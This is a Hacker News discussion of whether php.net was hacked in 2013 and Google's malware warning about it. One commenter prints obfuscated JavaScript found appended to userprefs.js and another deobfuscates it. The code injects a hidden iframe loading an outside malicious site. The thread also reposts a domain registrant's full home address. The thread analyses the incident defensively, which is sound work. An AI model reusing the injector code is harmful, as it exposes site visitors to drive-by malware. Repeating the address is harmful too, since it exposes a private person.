Hacker News Reader

Comment by dscrd | Hacker News Reader

Everybody seems to laugh and rage about this, but could somebody tell me if this is correctly detected or not? I would not be surprised at all if somebody had breached php.net. Did they properly check against intrusions?

View on HN

It's weird. The file linked to in the google product forums (http://static.php.net/www.php.net/userprefs.js) definitely has a piece of obfuscated js to insert an iframe pointing to http://lnkhere.reviewhdtv.co.uk/stat.htm. The actual http://www.php.net/userprefs.js does not though.

It was changed to un-confuse whatever tool google is using. No version on github has obfuscated contents (see: https://github.com/php/web-php/commits/master/userprefs.js) bit it does include another file (https://github.com/php/web-php/commits/master/functions.js) which did have obfuscated contents. Where the version that inserts iframe to uk site came from?

1) When I go to static userprefs.js on my mobile, no obfuscated contents.

2) Now when I browse to static userprefs.js on my desktop in incognito mode, no obfuscated contents.

3) When i browse to static userprefs.js on normal mode I get the following js appended:

    (function (MH) {
        var aS = "\x96\xad\xa1\xb4\x87\xf8J\x04Y.C\xb4u>\xac\xa8\x95\xbd\x04x\x8e\xa6:\x8c\x00O\x0b`\x04\x20-M@O\x00\x0d+\x0c\x0b\x04IM\x00d\x0fhbH"+
                 "mOO\x08J-\x0a.`iK\x00\x20(\x0b\x08)MM\x00d\x0bhKbmbb\x0bJ-\x09-`OhDf\x08)*B1*C0k\x0d,j2\x0c5+;|C\x19qSu\x1bgT`?\x0c\"1N'v\x0b-,H8"+
                 "ky6Er\x04!]\x19uVD.\x20\x15$qe\x20S>:sU\x1e:2#\x13MQ\x1c<\x20\x02)\x0eSTBlf\x05?62:`In\x17T&\x0c\"\x1e7Y\x01X@\x00/.q\x12\"\x08f#"+
                 "\x04k\x0a\x15`k.\x15rf\x0cbS\x20|x\x106CZ\x14\x18Xu1>:rXy\x0evb\x0d,q\x16\x06j\x025U\"cX\x15y|<2W~\x16\x032-T\x15\x17\\\\q\x01\x03"+
                 "\x09g\x00/.q\x12\"\x08f^\x1as$\x13f\x0e\x20i\x08Ur&H`\x1dd\x17Pt|{\x18Xu5@kn5\x14$*bx\"Yc-&}?~~2Afm\x0c\x11T\x04j`^5tRb\x0d]\x08\"]"+
                 "\x19uVD.\x20\x129wq9S\\\x1e:Qv`+lqVBhBv^?id\x20\x0dh\x11v\"*@\x1e:Rr1<\x00xx\x13&9`\x09,wPd\x0cfzWzA\x06\x1e\x1eBknW\x16B(\x06a\x00q\x02)"+
                 "\x7f*q\x19\x1f\x11v\"*@t9F`k.\x15rf\x0cb[6|\"g{S\x06m\x19\x0c6?9\x17\x14\x06j`8;\x10@Q\x1aBk\x0cUt`*\x06w4\x03\x0f~#f\x1e\x18rw\x20i\x08U"+
                 "r&H`|x\x15`!D\x18<\x11p^\x1apr<:r6\x1c\\2\x14\x1c\x18s\x18\"\x0b*Wr\"l\x02~dF\x16h<:s`\x1c\\7B\x1c\x18rC<i~U@#\x18XucDs\x14M%\x1ezp\x11:"+
                 "\x12\x1c\x18s\x144^w=x<tA!]>:u\x06\x1e:3s\x02A@\x1c\x18sC~T_\x20\x0dh\x11v\"*@!\x1eB\x1e:0px\\\x06i=nT=y6.\x14ht\x0ct.R\x1fy\x14\x19q_}"+
                 "\x0ct\x7fr=\x7fZ[@]2y\x19\x1fA\x1f2?\x1fj\x13\x19s_i\x0d[E\x1bS\x1f};V]0y\x1f&{p_?\x7f0;q\x1f9hP[\x15\x1d]jT[\x12[?^\x1f&{t_?\x19#;r\x1f"+
                 "_hW[\x14\x1dIk{ay5_ym\x1fA\x1f3?\x1f\x7f\x14\x19s_\x1bE[\x16\x1d=\x7fR[\x16[9P\x1fu}\x1fc9u\x1f=\x7f0Ypy;P\x1bQ\x1f{ay>_yy6{u_Y6\x19Q\x1f"+
                 "\x19c\x1b\x1d]y}\x12\x19\x12]\x19.*P\x1fp}yx9\x20\x19P\x1f\x1fY!\x7f5y\x1dH1{0\x7f/+\x7f>\x1fA\x1f4?\x1f\x19\x02\x19s_\x1d\x0cz\x7f!;t}]"+
                 "ydY\x16\x19\x19\x08m(\x16\x19v=\x19\x20Ysy]\x0d\x1dI\x19A[\x16[_\x0c0\x1f\x10\x19+9#\x19T\x1f\x1f*4\x7f2yi[?\x09;zo?\x0c\"1N'v\x0b-,H\x10"+
                 "\x0cui_gR&H\x10nw\x0b=fA(!T!\"\x12\x14\x0a[&'n%Pe\x04\x156$\x1bdGjgP!dx-9\x06'.\x056'\"'Rf\x1f$\x05.EtG&Zg\x7f9\x09\x7fk\x04j\x10.5\x19W"+
                 "\x16B(\x06v\x1dqq}s8^\\up\x02m_9\x17\x14\x06j`^8\x160Sq\x20+G$~~2\x15b\x01\x02m__\x7f\x176$j\x20qY=p<1f|x\x123\x20\x0dm?x-*0\x0c5I?'n3A"+
                 "{M&H\x10nwySTBlf\x1326\x03$\x13^\x1e:3txx\x15%)!fsNW$\x06m\x19\x09?P,5\x195\x14$*b\x17v\x10!\x06\x13\x1e\\Z76x<uE\x0da$1.1d`+\x1d\x0cUr&H`"+
                 "|x\x130_x<uD#^\x1au$:f\x1ezp\x11<p\x1c<\x1fWfs6\x20\x0dh\"U*a\x16+-\x0ejky\x18M(v\x0e\x17k\x1b}\x0b=\x7fA(7E?P,5\x195\x14$*b\x17f\x00\x05"+
                 "\x13\x1e|\\Z77x<u\x16sL\x06`k=j\x17T&\x0c\"\x19<\\\x09QP\x00/.B1*C0k\x0d,jI9\x1akhvNSi[?\x09;_{\x7f\x0dl3I*f\x0d5k[",
            Z7 = ["\x73\x70\x6c\x69\x74", XC = 0x09 * 17, "\x6c\x65\x6e\x67\x74\x68", "\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79"],
            Jm = "\xd5\xb6\xf9\x89\x9eT\x1a\xe4\x9a\x87\xd3\x16r\xa4\x99}Q\x8c\xc8\xe3t\xf4\xf9\xedC",
            jS = aS["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0, Jm[Z7[2]]);
        UVf = function (wD) {
            var Np, uK, Ugx = uK = "",
                DUB = 0;
            wD = wD[Z7[0]](Ugx);
            for (Np in wD) {
                if (wD[Z7[3]](Np)) {
                    uK += pVH(wD[Np], jS[Z7[0]](Ugx)[DUB %= jS[Z7[2]]]);
                    DUB++;
                }
            }
            return (uK);
        };
        jS = UVf(Jm);
        MH[UVf("'t!H")](UVf(aS[UVf("1w\"WtV)\x0e%")](Jm[UVf(".g.CtL")])))
    })(window, pVH = function (g6D, FFl, LyS, mnT) {
        g6D = g6D[LyS = "\x63" + (mnT = "\x68\x61\x72\x43\x6f\x64\x65") + "\x41\x74"](0);
        return (String["\x66\x72\x6f\x6d\x43" + mnT](g6D & XC | ((g6D & (~XC & 0xff)) ^ (FFl[LyS](0) & (~XC & 0xff)))))
    });

4) When I control F5 the page to refresh, obfuscated contents are gone.

So I'm leaning towards it being hacked a while ago and the hacked version was in my cache.

This is very interesting. Thanks for the code.

From my experience are these contents only provided once per IP and then you're getting filtered to not get any content again, to prevent 'easy' detection of this.

You simply get blacklisted after the first serving

I've seen this sort of thing from the Darkleech apache module[1]. It also won't show the malicious Javascript to any IP that appears in the `last` log. It looks like php.net uses Apache too[2]. The easiest way I've seen to find the module (they come with a variety of names) is to do something like

  strings /path/to/modules/* | grep -i blacklist

[1] http://malwaremustdie.blogspot.com/2013/03/the-evil-came-bac...

[2] http://builtwith.com/php.net

Yeah, I ran across malware once that only injected JS for visitors from certain referrers, such as Google search. I believe the intention was so that when someone would tell me, "Hey, you have a bunch of weird links on your site" I would go to it directly and not see a problem. IIRC the .htaccess had been modified.

This code deobfuscates basically to

        tmp3 = (tmp2 = document.createElement('iframe')).style;
        tmp2.src = 'http://lnkhere.reviewhdtv.co.uk/stat.htm';
        tmp1 = (tmp0 = document.createElement('div')).style;
        tmp1.width = tmp1.height = '-10000px';
        tmp1.overflow = 'hidden'; tmp1.position = 'absolute'; tmp1.left = '-10000px';
        tmp4 = document.getElementsByTagName('div');
        tmp4[Math.floor(Math.random() * tmp4.length)].appendChild(tmp0).appendChild(tmp2);

Wrapped into onload.

I really love that part where a random div is selected for inserting the iframe...

If there is one. Could be a little more robust :)

Obviously the hackers have a thing about non-semantic markup :-)

(yes, yes, I know that DIVs aren't really non-semantic - it's a joke)

Would CSP solve this issue? Looks like we could try restricting iframe-src?

But if they are able to hack into the server, I supposed there is nothing to do then...

If php.net used CSP, they would have been able to mitigate this attack with the frame-src directive [1].

[1] http://www.w3.org/TR/CSP/#frame-src

If they are able to hack the physical box (I assume this is how they did the injection), then it is possible for them to modify the CSP rule too.

If my assumption is correct, then CSP won't help unless we separate the source server and the proxy server from each other.

What a mess. I hope running Chrome via EMET is enough to keep my machine safe.

I've noticed that hacks have gone up recently in my little part of cyberspace. Things like Cryptolocker are so profitable that its motivating a lot of talented guys to get into malware and hack servers. Usually servers running some unpatched CMS or module.

Found some more interesting stuff into the rabbit hole:

http://pastebin.com/w8RLk3iq

The obfuscated code in functions.js in the git repo is very strange, too... What did it do and why was it obfuscated? https://github.com/php/web-php/commit/06a06b561aa2fcf22ce52b...

It's a quick ref of functions for an autocomplete list.

If you have this in your html as the only form:

  <form>
    <input type="text" id="pattern"/>
    <input type="text" id="show" value="quickref" />
  </form>
  <script>
    document.forms[0].pattern = document.getElementById('pattern');
    document.forms[0].show = document.getElementById('show');
  </script>

then include the functions js you will see an autocomplete list of functions when you type into the pattern box. The lists of function names are stored in a compressed string at the top so it's not really obfuscated, just minified. They shouldn't store it minified though.

That's so weird. Why wouldn't they just use HTTP GZip.

Both files appear identical to me. Which is odd, since there is only 1 CNAME to an address with 1 A record. Perhaps your version of static.php.net is cached by your ISP?

Even with only one public facing address there could be more than one server handling the content. It could be that only one had a bad file, or they all did but that one is yet to be cleaned. Or, as you say, the bad file could be cached at the ISP level (if this was only affected one ISP, whcih obviously it didn't, it could even have been injected at the point rather than at php.net's resources).

Not for me. Both urls have exactly the same content, and nothing suspicious.

Could this be a DNS issue, with a different server serving the bad .js file?

My IP for static.php.net is 69.147.83.201.

Maybe you already visited the site once and received the payload previously?

This comment by a Google employee seems to suggest that it wasn't incorrectly flagged:

http://productforums.google.com/d/msg/webmasters/puLmvjtK0m8...

http://www.google.com/safebrowsing/diagnostic?site=http://ph...

direct

Its was definitely hacked .. the log shows that the size of userprefs.js has definitely changed multiple times in the past 25 hrs : http://lerdorf.com/static.log.gz

The site that is linked to in the obfuscated code is http://lnkhere.reviewhdtv.co.uk/stat.htm and it is that site which Google has marked as unsafe. Php.net has received the malware warning as a result.

http://safebrowsing.clients.google.com/safebrowsing/diagnost...

Notably the whois on that domain includes the registrants full name and address. Nominet allows personal registrants an opt-out on the full details in whois, so you would be unlikely to try and hack PHP.net and forget to use a privacy service on a domain name that isn't quite so traceable..

The domain record for that site show:

  Domain name:
      reviewhdtv.co.uk
 
  Registrant:
      Oli Bachini
 
  Registrant type:
      UK Individual
 
  Registrant's address:
      Rainbow Cottage
      West Perry
      Huntingdon
      Cambs
      PE28 0BX
      United Kingdom
 
  Registrar:
      Webfusion Ltd t/a 123-reg [Tag = 123-REG]
      URL: http://www.123-reg.co.uk
 
  Relevant dates:
      Registered on: 13-Oct-2010
      Expiry date:  13-Oct-2014
      Last updated:  06-Oct-2012
 
  Registration status:
      Registered until expiry date.
 
  Name servers:
      ns.123-reg.co.uk
      ns2.123-reg.co.uk
 
  WHOIS lookup made at 11:44:39 24-Oct-2013

That site probably was hacked, too.

And this comment probably is too; who can we trust - am I the only one seeing this comment? Will it disappear after reload? WOhaa.

While this is publicly available information, I'm not sure what purpose it serves to post it here as they are quite possibly an innocent bystander.

You are just making them a target for malicious people who would otherwise be too lazy to find that information.

It is pretty bad form to post people's personal addresses on a forum such as this.

Whois data is public in any case, so there's no harm to re-posting it.

>> While this is publicly available information

>> You are just making them a target for malicious people who would otherwise be too lazy to find that information.

I already addressed that.

Whow

  $ zcat ~/Downloads/static.log.gz |
  perl -lne'if (m/ 200 (\d+)/) { print $1 }'|sort |uniq -c
    390 0
    523 10881
    639 12479
  16276 1279
 178111 2602
      1 4071
     14 4072
     63 4801
    112 4812
   9431 5097
  27654 5821
    110 5911
   1348 6008
    162 7884
    256 8278
    568 9035
   1103 9634

That's a lot of changes

You seem to be counting all the files, not just this one file.

Update: no, you're correct, this log apparently only has one file.

It is a false positive as can be seen here: https://twitter.com/rasmus/status/393258147025932288/photo/1 Bascially it is complaining about a JS file that is actually meant to be there.

What if the JS file itself was replaced?

@icebraining, You're right! The file has indeed been changed a lot lately. In fact as can be seen here: http://lerdorf.com/static.log.gz that file has changed in size from: 2602 bytes to 5821 to 1279 all in the space of 25 hours... that is really suspicious

Not some why they think its false positive ... I know server logs don't lie

Err, often they do. Or more correctly, they often don't show something you think they would if it happened.

Logs show a subset of what has happened. There's no way to prove they are showing everything, so there's no way to use them to prove what did not happen.

Only if you misread the message, Google is saying "the following piece of code injects things", not "this is the exact code that injects things".

Reply on news.ycombinator.com